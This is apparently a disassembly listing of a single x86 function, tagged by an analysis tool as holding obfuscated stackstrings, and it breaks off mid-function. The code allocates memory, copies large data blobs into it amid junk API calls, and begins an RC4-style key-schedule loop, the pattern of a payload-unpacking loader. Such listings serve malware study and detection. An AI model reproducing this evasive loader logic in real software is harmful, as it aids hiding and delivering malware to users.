Function at 0x651c2c13
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x117c
call fcn.651c6070
sub esp, eax
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], 1
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 1
mov dword [ebp - 0x414], 1
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 1
mov dword [ebp - 0x42d], 0x2e5aa24c
mov dword [ebp - 0x429], 0xf8dff5bb
mov byte [ebp - 0x425], 0xd6
mov word [ebp - 0x430], 0x473b
mov byte [ebp - 0x42e], 0x3a
mov byte [ebp - 0x49], 0xb5
mov byte [ebp - 0x49], 0xd1
fld qword [0x652116e0]
fstp qword [ebp - 0x58]
mov dword [ebp - 0x458], 0x77828ab8
mov dword [ebp - 0x454], 0x5b6b18ed
mov dword [ebp - 0x450], 0x95ea38be
mov dword [ebp - 0x44c], 0x72be8056
mov dword [ebp - 0x448], 0xcde4aba4
mov dword [ebp - 0x444], 0x819c11dc
mov dword [ebp - 0x440], 0x4df502a7
mov dword [ebp - 0x43c], 0x3478e351
mov dword [ebp - 0x438], 0x3d876dce
mov dword [ebp - 0x434], 0xb37798a4
mov word [ebp - 0x5a], 0x1508
mov word [ebp - 0x46a], 0x2318
mov word [ebp - 0x468], 0xde4a
mov word [ebp - 0x466], 0x6e5f
mov word [ebp - 0x464], 0x48fd
mov word [ebp - 0x462], 0x416a
mov word [ebp - 0x460], 0xa498
mov word [ebp - 0x45e], 0xb176
mov word [ebp - 0x45c], 0xa66
mov word [ebp - 0x45a], 0x587a
mov dword [ebp - 0x48c], 0xd6232783
mov dword [ebp - 0x488], 0x9078ba5e
mov dword [ebp - 0x484], 0xc05c48f3
mov dword [ebp - 0x480], 0x15fe5df2
mov dword [ebp - 0x47c], 0xe1fc88cc
mov dword [ebp - 0x478], 0x9112399d
mov dword [ebp - 0x474], 0x139696df
mov dword [ebp - 0x470], 0xe394b9de
fld dword [0x652116e8]
fstp dword [ebp - 0x4ac]
fld dword [0x652116ec]
fstp dword [ebp - 0x4a8]
fld dword [0x652116f0]
fstp dword [ebp - 0x4a4]
fld dword [0x652116f4]
fstp dword [ebp - 0x4a0]
fld dword [0x652116f8]
fstp dword [ebp - 0x49c]
fld dword [0x652116fc]
fstp dword [ebp - 0x498]
fld dword [0x65211700]
fstp dword [ebp - 0x494]
fld dword [0x65211704]
fstp dword [ebp - 0x490]
mov dword [ebp - 0x4c8], 0xbaeacdf9
mov dword [ebp - 0x4c4], 0x135e76e9
mov dword [ebp - 0x4c0], 0xbbd77e79
mov dword [ebp - 0x4bc], 0xe1e27de7
mov dword [ebp - 0x4b8], 0xcc1b9c92
mov dword [ebp - 0x4b4], 0x73cea3b6
mov dword [ebp - 0x4b0], 0x3b0e0433
mov byte [ebp - 0x5b], 0x56
sub byte [ebp - 0x5b], 0x5e
mov dword [ebp - 0x60], 0xb89d53fa
mov dword [ebp - 0x4d2], 0xb84d392
mov dword [ebp - 0x4ce], 0x86ba86f3
mov word [ebp - 0x4ca], 0xe324
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x671d4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x4ec], 0xb628ce9f
mov dword [ebp - 0x4e8], 0x8b8ed3ee
mov dword [ebp - 0x4e4], 0x9600d565
mov dword [ebp - 0x4e0], 0x86891235
mov dword [ebp - 0x4dc], 0x525b3f21
mov dword [ebp - 0x4d8], 0xa630250a
mov dword [ebp - 0x4fc], 0x85b82b98
mov dword [ebp - 0x4f8], 0x7d7aa8b7
mov dword [ebp - 0x4f4], 0xb9d5d2c4
mov dword [ebp - 0x4f0], 0x8e5902d4
mov dword [ebp - 0x68], 0x15669665
sub dword [ebp - 0x68], 1
fld qword [0x65211708]
fstp qword [ebp - 0x70]
fld qword [0x65211710]
fstp qword [ebp - 0x78]
fld qword [0x65211718]
fstp qword [ebp - 0x518]
fld qword [0x65211720]
fstp qword [ebp - 0x510]
fld qword [0x65211728]
fstp qword [ebp - 0x508]
mov word [ebp - 0x528], 0x6773
mov word [ebp - 0x526], 0xe866
mov word [ebp - 0x524], 0x9771
mov word [ebp - 0x522], 0xd1f0
mov word [ebp - 0x520], 0x1939
mov word [ebp - 0x51e], 0xe85f
mov word [ebp - 0x51c], 0xef10
mov word [ebp - 0x51a], 0x86f1
mov dword [ebp - 0x548], 0xda4873af
mov dword [ebp - 0x544], 0x17a6ee2f
mov dword [ebp - 0x540], 0xb538c03e
mov dword [ebp - 0x53c], 0x689dee8d
mov dword [ebp - 0x538], 0xc7716ce8
mov dword [ebp - 0x534], 0x5b53587e
mov dword [ebp - 0x530], 0x581d009f
mov dword [ebp - 0x52c], 0x1afdf2c0
mov dword [ebp - 0x552], 0x2111ec9f
mov dword [ebp - 0x54e], 0xe31571e0
mov word [ebp - 0x54a], 0xcf12
mov word [ebp - 0x7a], 0x89ba
fld dword [0x65211730]
fstp dword [ebp - 0x80]
mov word [ebp - 0x55e], 0x374d
mov word [ebp - 0x55c], 0xc0e3
mov word [ebp - 0x55a], 0x7f54
mov word [ebp - 0x558], 0x32e4
mov word [ebp - 0x556], 0x2b60
mov word [ebp - 0x554], 0xce3f
mov byte [ebp - 0x81], 0x35
mov byte [ebp - 0x82], 0x6a
mov dword [ebp - 0x578], 0xdead59a1
mov dword [ebp - 0x574], 0xb97810a0
mov dword [ebp - 0x570], 0x7afa540a
mov dword [ebp - 0x56c], 0x5b15f44
mov dword [ebp - 0x568], 0x1cffb422
mov dword [ebp - 0x564], 0xc914a0ab
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0xa151d35e
mov word [ebp - 0x8e], 0xf7a7
mov byte [ebp - 0x8f], 0xf
mov dword [ebp - 0x94], 0xc3cc7a76
mov word [ebp - 0x96], 0x3cbe
mov dword [ebp - 0x9c], 0x9a45d898
mov word [ebp - 0x582], 0x4d28
mov word [ebp - 0x580], 0x4462
mov word [ebp - 0x57e], 0x4c27
mov word [ebp - 0x57c], 0xf07b
mov word [ebp - 0x57a], 0x4d2b
mov byte [ebp - 0x9d], 0x78
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_Ellipse]
call eax
sub esp, 0x14
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa8], 0x83c7d2f6
fld dword [0x65211734]
fstp dword [ebp - 0xac]
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIfEntry
sub esp, 4
mov dword [ebp - 0xb0], eax
fld dword [0x65211738]
fstp dword [ebp - 0xb4]
mov byte [ebp - 0xb5], 9
fld dword [0x6521173c]
fstp dword [ebp - 0x5a0]
fld dword [0x65211740]
fstp dword [ebp - 0x59c]
fld dword [0x65211744]
fstp dword [ebp - 0x598]
fld dword [0x65211748]
fstp dword [ebp - 0x594]
fld dword [0x6521174c]
fstp dword [ebp - 0x590]
fld dword [0x65211750]
fstp dword [ebp - 0x58c]
fld dword [0x65211754]
fstp dword [ebp - 0x588]
mov dword [ebp - 0x5b0], 0xd80477a7
mov dword [ebp - 0x5ac], 0xbe99d867
mov dword [ebp - 0x5a8], 0x60e19256
mov dword [ebp - 0x5a4], 0x2624fdfd
mov word [ebp - 0xb8], 0xe507
mov byte [ebp - 0xb9], 0xa
mov byte [ebp - 0xba], 0x81
movzx eax, byte [ebp - 0xba]
sub eax, 0x4c
mov byte [ebp - 0xba], al
fld dword [0x65211758]
fstp dword [ebp - 0x5d4]
fld dword [0x6521175c]
fstp dword [ebp - 0x5d0]
fld dword [0x65211760]
fstp dword [ebp - 0x5cc]
fld dword [0x65211764]
fstp dword [ebp - 0x5c8]
fld dword [0x65211768]
fstp dword [ebp - 0x5c4]
fld dword [0x6521176c]
fstp dword [ebp - 0x5c0]
fld dword [0x65211770]
fstp dword [ebp - 0x5bc]
fld dword [0x65211774]
fstp dword [ebp - 0x5b8]
fld dword [0x65211778]
fstp dword [ebp - 0x5b4]
fld dword [0x6521177c]
fstp dword [ebp - 0x5f4]
fld dword [0x65211780]
fstp dword [ebp - 0x5f0]
fld dword [0x65211784]
fstp dword [ebp - 0x5ec]
fld dword [0x65211788]
fstp dword [ebp - 0x5e8]
fld dword [0x6521178c]
fstp dword [ebp - 0x5e4]
fld dword [0x65211790]
fstp dword [ebp - 0x5e0]
fld dword [0x65211794]
fstp dword [ebp - 0x5dc]
fld dword [0x65211798]
fstp dword [ebp - 0x5d8]
mov word [ebp - 0xbc], 0x71ec
fld dword [0x6521179c]
fstp dword [ebp - 0x608]
fld dword [0x652117a0]
fstp dword [ebp - 0x604]
fld dword [0x652117a4]
fstp dword [ebp - 0x600]
fld dword [0x652117a8]
fstp dword [ebp - 0x5fc]
fld dword [0x652117ac]
fstp dword [ebp - 0x5f8]
mov dword [ebp - 0x61c], 0xce8020b9
mov dword [ebp - 0x618], 0xb1cd1c0c
mov dword [ebp - 0x614], 0xeb7b1d9b
mov dword [ebp - 0x610], 0xdae33f37
mov dword [ebp - 0x60c], 0x450bf37e
mov dword [ebp - 0x644], 0x9110b70
mov dword [ebp - 0x640], 0x55afb9bf
mov dword [ebp - 0x63c], 0x1e1da8a4
mov dword [ebp - 0x638], 0xbde7a494
mov dword [ebp - 0x634], 0x7467fa9d
mov dword [ebp - 0x630], 0xb4e575ab
mov dword [ebp - 0x62c], 0x693cd904
mov dword [ebp - 0x628], 0x16cb2ff9
mov dword [ebp - 0x624], 0xe9dc1d8b
mov dword [ebp - 0x620], 0x5dd0e03
mov dword [ebp - 0xc0], 0
mov byte [ebp - 0xc1], 0xd7
mov dword [ebp - 0xc8], 1
mov word [ebp - 0x64c], 0x24bc
mov word [ebp - 0x64a], 0xbd09
mov word [ebp - 0x648], 0x4d14
mov word [ebp - 0x646], 0xa3bb
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreateDCW]
call eax
sub esp, 0x10
mov dword [ebp - 0xcc], eax
mov byte [ebp - 0xcd], 0x70
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_BeginPath]
call eax
sub esp, 4
mov dword [ebp - 0xd4], eax
mov word [ebp - 0x65a], 0xdf33
mov word [ebp - 0x658], 0x7173
mov word [ebp - 0x656], 0x4d70
mov word [ebp - 0x654], 0x7726
mov word [ebp - 0x652], 0x27f0
mov word [ebp - 0x650], 0x3c32
mov word [ebp - 0x64e], 0x6573
mov word [ebp - 0xd6], 0x272e
mov word [ebp - 0xd8], 0x46bd
mov word [ebp - 0xda], 0x321b
mov dword [ebp - 0x674], 0xff8c13c5
mov dword [ebp - 0x670], 0x878f8c97
mov dword [ebp - 0x66c], 0x19618927
mov dword [ebp - 0x668], 0x53c9202f
mov dword [ebp - 0x664], 0xe9f8e771
mov dword [ebp - 0x660], 0x259edf83
mov dword [ebp - 0x680], 0x1900abbb
mov dword [ebp - 0x67c], 0xf4c2faca
mov dword [ebp - 0x678], 0xbab2d1de
mov dword [ebp - 0x688], 0x13cb3181
mov dword [ebp - 0x684], 0xca09c27d
mov dword [ebp - 0x6a4], 0
mov dword [ebp - 0x6a0], 1
mov dword [ebp - 0x69c], 0
mov dword [ebp - 0x698], 1
mov dword [ebp - 0x694], 1
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 1
fld qword [0x652117b0]
fstp qword [ebp - 0x6e8]
fld qword [0x652117b8]
fstp qword [ebp - 0x6e0]
fld qword [0x652117c0]
fstp qword [ebp - 0x6d8]
fld qword [0x652117c8]
fstp qword [ebp - 0x6d0]
fld qword [0x652117d0]
fstp qword [ebp - 0x6c8]
fld qword [0x652117d8]
fstp qword [ebp - 0x6c0]
fld qword [0x652117e0]
fstp qword [ebp - 0x6b8]
fld qword [0x652117e8]
fstp qword [ebp - 0x6b0]
mov dword [ebp - 0xe0], 0x99c755c2
mov dword [ebp - 0xe4], 0x24783a35
mov word [ebp - 0x6eb], 0x32ce
mov byte [ebp - 0x6e9], 0xa3
mov dword [ebp - 0x1c], 0
mov word [ebp - 0xe6], 0xdb74
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_Chord]
call eax
sub esp, 0x24
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xf0], 0x9aa4ca7c
mov byte [ebp - 0xf1], 0xf2
mov dword [ebp - 0x20], 0
jmp 0x651c36a8
mov eax, dword [ebp - 0x20]
add eax, 0x651c8020
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x20]
add eax, 0x651c8020
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x20], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x20]
cmp eax, 0xc3ec
jbe 0x651c366c
mov byte [ebp - 0xf2], 0x29
mov dword [ebp - 0xf8], 0xa37a72ea
mov dword [esp], 0
call sub.IPHLPAPI.DLL_IpRenewAddress
sub esp, 4
mov dword [ebp - 0xfc], eax
mov byte [ebp - 0xfd], 0xc7
mov dword [ebp - 0x24], 0
jmp 0x651c3724
mov eax, dword [ebp - 0x24]
add eax, 0x651d4420
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x24]
add eax, 0x651d4420
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x24], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x24]
cmp eax, 0x51db
jbe 0x651c36e8
mov dword [ebp - 0x6fc], 1
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x6f4], 1
mov dword [ebp - 0x6f0], 1
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_DeleteMetaFile]
call eax
sub esp, 4
mov dword [ebp - 0x104], eax
fld qword [0x652117f0]
fstp qword [ebp - 0x720]
fld qword [0x652117f8]
fstp qword [ebp - 0x718]
fld qword [0x65211800]
fstp qword [ebp - 0x710]
fld qword [0x65211808]
fstp qword [ebp - 0x708]
fld dword [0x65211810]
fstp dword [ebp - 0x734]
fld dword [0x65211814]
fstp dword [ebp - 0x730]
fld dword [0x65211818]
fstp dword [ebp - 0x72c]
fld dword [0x6521181c]
fstp dword [ebp - 0x728]
fld dword [0x65211820]
fstp dword [ebp - 0x724]
mov dword [ebp - 0x28], 0
jmp 0x651c381e
mov eax, dword [ebp - 0x28]
add eax, 0x651d9600
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x28]
add eax, 0x651d9600
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x28], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x28]
cmp eax, 0x4749
jbe 0x651c37e2
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x75c], 1
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x754], 1
mov dword [ebp - 0x750], 1
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x744], 1
mov dword [ebp - 0x740], 1
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x738], 1
mov word [ebp - 0x76a], 0xe2ac
mov word [ebp - 0x768], 0x75a9
mov word [ebp - 0x766], 0x351d
mov word [ebp - 0x764], 0x7886
mov word [ebp - 0x762], 0x14d7
mov word [ebp - 0x760], 0x83e
mov word [ebp - 0x75e], 0xfbb
fld qword [0x65211828]
fstp qword [ebp - 0x110]
mov dword [ebp - 0x2c], 0
jmp 0x651c3926
mov eax, dword [ebp - 0x2c]
add eax, 0x651ddd60
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x2c]
add eax, 0x651ddd60
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x2c], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x2c]
cmp eax, 0x38b0
jbe 0x651c38ea
mov word [ebp - 0x112], 0x7fc3
mov dword [ebp - 0x118], 0x1732de0c
mov word [ebp - 0x11a], 0xe827
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CombineTransform]
call eax
sub esp, 0xc
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x30], 0
jmp 0x651c39b8
mov eax, dword [ebp - 0x30]
add eax, 0x651e1620
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x30]
add eax, 0x651e1620
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x30], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x30]
cmp eax, 0x512e
jbe 0x651c397c
fld dword [0x65211830]
fstp dword [ebp - 0x124]
mov dword [ebp - 0x77c], 0x17845715
mov dword [ebp - 0x778], 0x9b3cd607
mov dword [ebp - 0x774], 0x6f4cb1c1
mov dword [ebp - 0x770], 0x9d05a0ca
mov word [ebp - 0x78a], 0xe67f
mov word [ebp - 0x788], 0x5e9f
mov word [ebp - 0x786], 0x49f1
mov word [ebp - 0x784], 0xc07e
mov word [ebp - 0x782], 0x4233
mov word [ebp - 0x780], 0x6204
mov word [ebp - 0x77e], 0xe5e6
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x34], 0
jmp 0x651c3a84
mov eax, dword [ebp - 0x34]
add eax, 0x651e6760
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x34]
add eax, 0x651e6760
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x34], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x34]
cmp eax, 0xb52c
jbe 0x651c3a48
mov dword [ebp - 0x7a8], 0x3af7e61d
mov dword [ebp - 0x7a4], 0x20b52e12
mov dword [ebp - 0x7a0], 0xd882e274
mov dword [ebp - 0x79c], 0x598cfbe1
mov dword [ebp - 0x798], 0x5df083cc
mov dword [ebp - 0x794], 0x3efe2102
mov dword [ebp - 0x790], 0xed44dc7a
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreatePatternBrush]
call eax
sub esp, 4
mov dword [ebp - 0x12c], eax
mov word [ebp - 0x12e], 0x78bf
mov word [ebp - 0x130], 0x4a7f
mov dword [ebp - 0x38], 0
jmp 0x651c3b42
mov eax, dword [ebp - 0x38]
add eax, 0x651f1ca0
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x38]
add eax, 0x651f1ca0
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x38], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x38]
cmp eax, 0x4aa7
jbe 0x651c3b06
fld dword [0x65211834]
fstp dword [ebp - 0x7c0]
fld dword [0x65211838]
fstp dword [ebp - 0x7bc]
fld dword [0x6521183c]
fstp dword [ebp - 0x7b8]
fld dword [0x65211840]
fstp dword [ebp - 0x7b4]
fld dword [0x65211844]
fstp dword [ebp - 0x7b0]
fld dword [0x65211848]
fstp dword [ebp - 0x7ac]
mov word [ebp - 0x7ce], 0x5f5f
mov word [ebp - 0x7cc], 0x3887
mov word [ebp - 0x7ca], 0x5681
mov word [ebp - 0x7c8], 0xa1c8
mov word [ebp - 0x7c6], 0x75bd
mov word [ebp - 0x7c4], 0xdf18
mov word [ebp - 0x7c2], 0x77bc
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x7d8], 1
mov dword [ebp - 0x7d4], 1
mov dword [ebp - 0x134], 1
mov dword [ebp - 0x3c], 0
jmp 0x651c3c40
mov eax, dword [ebp - 0x3c]
add eax, 0x651f6760
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov eax, dword [ebp - 0x3c]
add eax, 0x651f6760
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 0x338ea]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x3c], 1
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x3c]
cmp eax, 0x4737
jbe 0x651c3c04
mov dword [ebp - 0x138], 0x467301ce
add dword [ebp - 0x138], 1
mov word [ebp - 0x13a], 0xc757
mov dword [ebp - 0x140], 0x26c2567a
mov dword [ebp - 0x144], 0x897a6d09
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov dword [ebp - 0x148], eax
mov word [ebp - 0x7e2], 0x9ae1
mov word [ebp - 0x7e0], 0x83e2
mov word [ebp - 0x7de], 0xb91a
mov dword [ebp - 0x7eb], 0xa8f912a
mov dword [ebp - 0x7e7], 0x29ca9426
mov byte [ebp - 0x7e3], 0x72
mov dword [ebp - 0x7f2], 0xec9f6d93
mov word [ebp - 0x7ee], 0xdb64
mov byte [ebp - 0x7ec], 0xf5
mov word [ebp - 0x14a], 0x70cb
mov dword [ebp - 0x150], 0x58553ffc
mov dword [ebp - 0x154], 0x11970056
mov word [ebp - 0x156], 0x2ad2
fld dword [0x6521184c]
fstp dword [ebp - 0x15c]
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetTcpTable
sub esp, 0xc
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x818], 0xe2855916
mov dword [ebp - 0x814], 0xf2170d70
mov dword [ebp - 0x810], 0xcd07845a
mov dword [ebp - 0x80c], 0x580434c0
mov dword [ebp - 0x808], 0xff167207
mov dword [ebp - 0x804], 0x62f01fc9
mov dword [ebp - 0x800], 0x7db2fc35
mov dword [ebp - 0x7fc], 0x92f89373
mov dword [ebp - 0x7f8], 0xe682f56d
mov word [ebp - 0x162], 0x964f
mov word [ebp - 0x82a], 0x2dd8
mov word [ebp - 0x828], 0xc2c3
mov word [ebp - 0x826], 0xc2a5
mov word [ebp - 0x824], 0xf450
mov word [ebp - 0x822], 0xd770
mov word [ebp - 0x820], 0xf225
mov word [ebp - 0x81e], 0x2ed8
mov word [ebp - 0x81c], 0xa102
mov word [ebp - 0x81a], 0x136d
mov dword [ebp - 0x168], 0x2a39b11a
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_ArcTo]
call eax
sub esp, 0x24
mov dword [ebp - 0x16c], eax
fld dword [0x65211850]
fstp dword [ebp - 0x170]
mov word [ebp - 0x172], 0x6797
fld dword [0x65211854]
fstp dword [ebp - 0x178]
mov word [ebp - 0x17a], 0xd5bf
mov dword [ebp - 0x831], 0x4935de1e
mov word [ebp - 0x82d], 0x58d4
mov byte [ebp - 0x82b], 7
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUniDirectionalAdapterInfo
sub esp, 8
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x854], 0x5c6a42f4
mov dword [ebp - 0x850], 0xc98e2ec9
mov dword [ebp - 0x84c], 0x83d3cbb5
mov dword [ebp - 0x848], 0x4f76c019
mov dword [ebp - 0x844], 0x73427731
mov dword [ebp - 0x840], 0x9ea1dc7a
mov dword [ebp - 0x83c], 0xf002e273
mov dword [ebp - 0x838], 0xa80b74e1
mov dword [ebp - 0x870], 0x32921628
mov dword [ebp - 0x86c], 0x4992cf8b
mov dword [ebp - 0x868], 0x954fc6a8
mov dword [ebp - 0x864], 0xa5363bb1
mov dword [ebp - 0x860], 0xc1af8ad2
mov dword [ebp - 0x85c], 0xfd9ac24d
mov dword [ebp - 0x858], 0x85a76495
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUniDirectionalAdapterInfo
sub esp, 8
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x188], 0x39df30ab
mov dword [ebp - 0x18c], 0x1f920caf
cmp dword [ebp - 0x184], 0
setne al
mov byte [ebp - 0x18d], al
mov word [ebp - 0x878], 0xfdd8
mov word [ebp - 0x876], 0xac1b
mov word [ebp - 0x874], 0x6fa8
mov word [ebp - 0x872], 0xebc3
mov dword [ebp - 0x884], 0xe7d8217f
mov dword [ebp - 0x880], 0x137b2b77
mov dword [ebp - 0x87c], 0xa585ac24
mov word [ebp - 0x88e], 0xf8c3
mov word [ebp - 0x88c], 0x2e48
mov word [ebp - 0x88a], 0x367e
mov word [ebp - 0x888], 0xc6b9
mov word [ebp - 0x886], 0x913
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIpForwardEntry
sub esp, 4
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x8b0], 0x6e38f2c6
mov dword [ebp - 0x8ac], 0x19c8d140
mov dword [ebp - 0x8a8], 0x535380d
mov dword [ebp - 0x8a4], 0xae0ab5
mov dword [ebp - 0x8a0], 0x6dbd3b7
mov dword [ebp - 0x89c], 0x575f2010
mov dword [ebp - 0x898], 0x35c339ec
mov dword [ebp - 0x894], 0x2096b016
mov dword [ebp - 0x198], 1
mov dword [ebp - 0x8d8], 0
mov dword [ebp - 0x8d4], 0
mov dword [ebp - 0x8d0], 0
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x8c4], 0
mov dword [ebp - 0x8c0], 0
mov dword [ebp - 0x8bc], 0
mov dword [ebp - 0x8b8], 1
mov dword [ebp - 0x8b4], 1
fld dword [0x65211858]
fstp dword [ebp - 0x19c]
mov dword [ebp - 0x8f8], 0x1587d74
mov dword [ebp - 0x8f4], 0x644583d7
mov dword [ebp - 0x8f0], 0xa09bc8ea
mov dword [ebp - 0x8ec], 0xcf9ffd4
mov dword [ebp - 0x8e8], 0xfe7fa912
mov dword [ebp - 0x8e4], 0xa12d6444
mov dword [ebp - 0x8e0], 0xd81d8da1
mov dword [ebp - 0x8dc], 0x42ac6b8a
fld qword [0x65211860]
fstp qword [ebp - 0x1a8]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x1ac], 0xc9e82e73
mov dword [ebp - 0x44], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_Chord]
call eax
sub esp, 0x24
mov dword [ebp - 0x1b0], eax
fld dword [0x65211868]
fstp dword [ebp - 0x1b4]
mov dword [ebp - 0x40], 0
jmp 0x651c4234
mov byte [ebp - 0x30d], 0x98
mov word [ebp - 0x1042], 0xdb2
mov word [ebp - 0x1040], 0x7c1c
mov word [ebp - 0x103e], 0x8d98
mov word [ebp - 0x103c], 0xc2b4
mov word [ebp - 0x103a], 0x49e3
mov word [ebp - 0x1038], 0xda98
mov word [ebp - 0x1036], 0x79ef
mov word [ebp - 0x1034], 0x83ae
mov word [ebp - 0x1032], 0xef86
mov eax, dword [ebp - 0x40]
mov ecx, eax
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add eax, edx
mov byte [eax], cl
mov word [ebp - 0x310], 0x28f0
mov word [ebp - 0x312], 0xe76
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0xff
jle 0x651c41b4
fld qword [0x65211870]
fstp qword [ebp - 0xa20]
fld qword [0x65211878]
fstp qword [ebp - 0xa18]
fld qword [0x65211880]
fstp qword [ebp - 0xa10]
fld qword [0x65211888]
